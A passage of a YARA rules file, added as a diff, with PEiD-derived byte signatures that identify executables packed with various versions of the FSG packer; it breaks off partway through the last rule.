+rule PEiD_00796_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi_2_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 2.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB}
+    condition:
+        $a
+}
+
+rule PEiD_00797_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32___Microsoft_Visual_Basic__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32 / Microsoft Visual Basic)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94}
+    condition:
+        $a
+}
+
+rule PEiD_00798_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B}
+    condition:
+        $a
+}
+
+rule PEiD_00799_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB 02 F0 49 C1 F6 09 88 0B F7 DE 0F B6 F2 43 EB 02 CD 20 C1 E7 0A 48 EB 01 89 C1 E7 14 2B FF 3B C7 75 A8 E8 01 00 00 00 81 5F F7 D7 D9 EE 1F 5E 1E DD 1E 2E 5E 1E DC ?? ?? 5E 1E 71 06 28 1E 1E 1E 20 F0 93 23 A8 34 64 30 F0 E1 D0 9E 51 F9 C2 D1 20 1D 32 42 91 16 51 E7 1D 32 42 91 36 51 DE 1D 32 42 91 3F D1 20 5F CE 2E 1D 32 42 30 DE 91 17 93 5D C8 09 FA 06 61 1E 1E 1E 49 E9 93 2E 06 56 1E 1E 1E 09 46 CA EF 06 92 5F 31 E7 09 3A AF 66 DF FE 26 CA 06 40 1E 1E 1E 5B 1E 9B 1E 1E 91 28 9E 1A 23 91 24 A1 16 9D 95 20}
+    condition:
+        $a
+}
+
+rule PEiD_00800_FSG_v1_10__Eng_____dulek_xt_____MASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A}
+    condition:
+        $a
+}
+rule PEiD_00801_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_Basic___MASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic / MASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47}
+    condition:
+        $a
+}
+
+rule PEiD_00802_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_Basic_5_0___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic 5.0 / 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77}
+    condition:
+        $a
+}
+
+rule PEiD_00803_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___4_x___LCC_Win32_1_x__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 4.x / LCC Win32 1.x)]"
+        ep_only = "true"
+    strings:
+        $a = {2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00804_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___5_0___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 5.0 / 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00805_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0___ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0 / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8}
+    condition:
+        $a
+}
+
+rule PEiD_00806_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27}
+    condition:
+        $a
+}
+
+rule PEiD_00807_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27 EB 02 82 53 EB 02 CD 20 87 FA 88 10 80 F3 CA EB 02 CD 20 40 03 D7 0B D0 4E 1B D2 EB 02 CD 20 2B D2 3B F2 75 AC F7 DA 80 C3 AF 91 1C 31 62 A1 61 20 61 71 A1 61 1F ?? ?? ?? 61 B4 49 6B 61 61 61 63 33 D6 66 EB 77 A7 73 33 24 13 E1 94 3C 05 14 63 60 75 85 D4 59 94 2A 60 75 85 D4 79 94 21 60 75 85 D4 82 14 63 A2 11 71 60 75 85 73 21 D4 5A D6 A0 0B 4C 3D 49 A4 61 61 61 8C 2C D6 71 49 99 61 61 61 4C 89 0D 32 49 D5 A2 74 2A 4C 7D F2 A9 22 41 69 0D 49 83 61 61 61 9E 61 DE 61 61 D4 6B E1 5D 66 D4 67 E4 59 E0 D8 63}
+    condition:
+        $a
+}
+
+rule PEiD_00808_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00}
+    condition:
+        $a
+}
+
+rule PEiD_00809_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3}
+    condition:
+        $a
+}
+
+rule PEiD_00810_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00811_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80}
+    condition:
+        $a
+}
+
+rule PEiD_00812_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+    condition:
+        $a
+}
+
+rule PEiD_00813_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68}
+    condition:
+        $a
+}
+
+rule PEiD_00814_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3}
+    condition:
+        $a
+}
+
+rule PEiD_00815_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE EB 02 CD 20 57 EB 02 CD 20 5A 88 10 EB 02 CD 20 40 E8 02 00 00 00 C5 62 5A 4E E8 01 00 00 00 43 5A 2B DB 3B F3 75 B1 C1 F3 0D 92 B8 DC 0C 4E 0D B7 F7 0A 39 F4 B5 ?? ?? 36 FF 45 D9 FA FB FE FD FE CD 6B FE 82 0D 28 F3 B6 A6 A0 71 1F BA 92 9C EE DA FE 0D 47 DB 09 AE DF E3 F6 50 E4 12 9E C8 EC FB 4D EA 77 C9 03 75 E0 D2 D6 E5 E2 8B 41 B6 41 FA 70 B0 A0 AB F9 B5 C0 BF ED 78 25 CB 96 E5 A8 A7 AA A0 DC 5F 73 9D 14 F0 B5 6A 87 B7 3B E5 6D 77 B2 45 8C B9 96 95 A0 DC A2 1E 9C 9B 11 93 08 83 9B F8 9E 0A 8E 10 F7 85}
+    condition:
+        $a
+}
+
+rule PEiD_00816_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00}
+    condition:
+        $a
+}
+
+rule PEiD_00817_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B}
+    condition:
+        $a
+}
+
+rule PEiD_00818_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E}
+    condition:
+        $a
+}
+
+rule PEiD_00819_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8}
+    condition:
+        $a
+}
+
+rule PEiD_00820_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38}
+    condition:
+        $a
+}
+
+rule PEiD_00821_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00822_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+    condition:
+        $a
+}
+
+rule PEiD_00823_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00824_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 ?? BF ?? 10 40 ?? BE}
+    condition:
+        $a
+}
+
+rule PEiD_00825_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00826_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00827_FSG_v1_1_
+{
+    meta:
+        description = "[FSG v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 ?? BF ?? 10 40 ?? BE ?? ?? ?? ?? FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16}
+    condition:
+        $a
+}
+
+rule PEiD_00828_FSG_v1_20__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 EB 02 56 7B 2A D3 E8 01 00 00 00 ED 58 88 16 13 C3 46 EB 02 CD 20 4B EB 02 CD 20 2B C9 3B D9 75 A1 E8 02 00 00 00 D7 6B 58 EB 00 9E 96 6A 28 67 AB 69 54 03 3E 7F ?? ?? ?? 31 0D 63 44 35 38 37 18 87 9F 10 8C 37 C6 41 80 4C 5E 8B DB 60 4C 3A 28 08 30 BF 93 05 D1 58 13 2D B8 86 AE C8 58 16 A6 95 C5 94 03 33 6F FF 92 20 98 87 9C E5 B9 20 B5 68 DE 16 4A 15 C1 7F 72 71 65 3E A9 85 20 AF 5A 59 54 26 66 E9 3F 27 DE 8E 7D 34 53 61 F7 AF 09 29 5C F7 36 83 60 5F 52 92 5C D0 56 55 C9 61 7A FD EF 7E E8 70 F8 6E 7B EF}
+    condition:
+        $a
+}
+
+rule PEiD_00829_FSG_v1_20__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB EE 90 14 2C 77 2A D3 EB 01 87 2A D3 E8 01 00 00 00 92 59 88 16 EB 02 52 08 46 EB 02 CD 20 4B 80 F1 C2 85 DB 75 AE C1 E0 04 EB 00 DA B2 82 5C 9B C7 89 98 4F 8A F7 ?? ?? ?? B1 4D DF B8 AD AC AB D4 07 27 D4 50 CF 9A D5 1C EC F2 27 77 18 40 4E A4 A8 B4 CB 9F 1D D9 EC 1F AD BC 82 AA C0 4C 0A A2 15 45 18 8F BB 07 93 BE C0 BC A3 B0 9D 51 D4 F1 08 22 62 96 6D 09 73 7E 71 A5 3A E5 7D 94 A3 96 99 98 72 B2 31 57 7B FA AE 9D 28 4F 99 EF A3 25 49 60 03 42 8B 54 53 5E 92 50 D4 52 4D C1 55 76 FD F7 8A FC 78 0C 82 87 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00830_FSG_v1_20__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 F7 2B FE EB 01 7F 81 EF DF 30 90 1E EB 02 CD 20 87 FA 88 10 80 EA 03 40 EB 01 20 4E EB 01 3D 83 FE 00 75 A2 EB 02 CD 20 EB 01 C3 78 73 42 F7 35 6C 2D 3F ED 33 97 ?? ?? ?? 5D F0 45 29 55 57 55 71 63 02 72 E9 1F 2D 67 B1 C0 91 FD 10 58 A3 90 71 6C 83 11 E0 5D 20 AE 5C 71 83 D0 7B 10 97 54 17 11 C0 0E 00 33 76 85 33 3C 33 21 31 F5 50 CE 56 6C 89 C8 F7 CD 70 D5 E3 DD 08 E8 4E 25 FF 0D F3 ED EF C8 0B 89 A6 CD 77 42 F0 A6 C8 19 66 3D B2 CD E7 89 CB 13 D7 D5 E3 1E DF 5A E3 D5 50 DF B3 39 32 C0 2D B0 3F B4 B4 43}
+    condition:
+        $a
+}
+
+rule PEiD_00831_FSG_v1_20__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE 58 80 EA 33 C1 E1 12 32 D3 48 80 C2 26 EB 02 CD 20 88 16 F7 D8 46 EB 01 C0 4B 40 8D 0D 00 00 00 00 3B D9 75 B7 EB 01 14 EB 01 0A CF C5 93 53 90 DA 96 67 54 8D CC ?? ?? 51 8E 18 74 53 82 83 80 47 B4 D2 41 FB 64 31 6A AF 7D 89 BC 0A 91 D7 83 37 39 43 50 A2 32 DC 81 32 3A 4B 97 3D D9 63 1F 55 42 F0 45 32 60 9A 28 51 61 4B 38 4B 12 E4 49 C4 99 09 47 F9 42 8C 48 51 4E 70 CF B8 12 2B 78 09 06 07 17 55 D6 EA 10 8D 3F 28 E5 02 0E A2 58 B8 D6 0F A8 E5 10 EB E8 F1 23 EF 61 E5 E2 54 EA A9 2A 22 AF 17 A1 23 97 9A 1C}
+    condition:
+        $a
+}
+
+rule PEiD_00832_FSG_v1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA 73 8B CF 81 C2 96 44 EB 04 EB 02 CD 20 88 16 E8 02 00 00 00 44 A2 59 46 E8 01 00 00 00 AD 59 4B 80 C1 13 83 FB 00 75 B2 F7 D9 96 8F 80 4D 0C 4C 91 50 1C 0C 50 8A ?? ?? ?? 50 E9 34 16 50 4C 4C 0E 7E 9B 49 C6 32 02 3E 7E 7B 5E 8C C5 6B 50 3F 0E 0F 38 C8 95 18 D1 65 11 2C B8 87 28 C3 4C 0B 3C AC D9 2D 15 4E 8F 1C 40 4F 28 98 3E 10 C1 45 DB 8F 06 3F EC 48 61 4C 50 50 81 DF C3 20 34 84 10 10 0C 1F 68 DC FF 24 8C 4D 29 F5 1D 2C BF 74 CF F0 24 C0 08 2E 0C 0C 10 51 0C 91 10 10 81 16 D0 54 4B D7 42 C3 54 CB C9 4E}
+    condition:
+        $a
+}
+rule PEiD_00833_FSG_v1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 EB 02 42 C0 EB 01 08 88 16 80 F1 98 80 C9 28 46 91 EB 02 C0 55 4B EB 01 55 34 44 0B DB 75 AD E8 01 00 00 00 9D 59 0B C6 EB 01 6C E9 D2 C3 82 C2 03 C2 B2 82 C2 00 ?? ?? 7C C2 6F DA BC C2 C2 C2 CC 1C 3D CF 4C D8 84 D0 0C FD F0 42 77 0D 66 F1 AC C1 DE CE 97 BA D7 EB C3 AE DE 91 AA D5 02 0D 1E EE 3F 23 77 C4 01 72 12 C1 0E 1E 14 82 37 AB 39 01 88 C9 DE CA 07 C2 C2 C2 17 79 49 B2 DA 0A C2 C2 C2 A9 EA 6E 91 AA 2E 03 CF 7B 9F CE 51 FA 6D A2 AA 56 8A E4 C2 C2 C2 07 C2 47 C2 C2 17 B8 42 C6 8D 31 88 45 BA 3D 2B BC}
+    condition:
+        $a
+}
+
+rule PEiD_00834_FSG_v1_2_
+{
+    meta:
+        description = "[FSG v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00835_FSG_v1_30__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.30 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00836_FSG_v1_31__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.31 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 97 33 C9 41 FF D3 13 C9 FF D3 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 5B 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 58 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 89 06 AD 85 C0 75 D9 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 88 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00837_FSG_v1_31_
+{
+    meta:
+        description = "[FSG v1.31]"
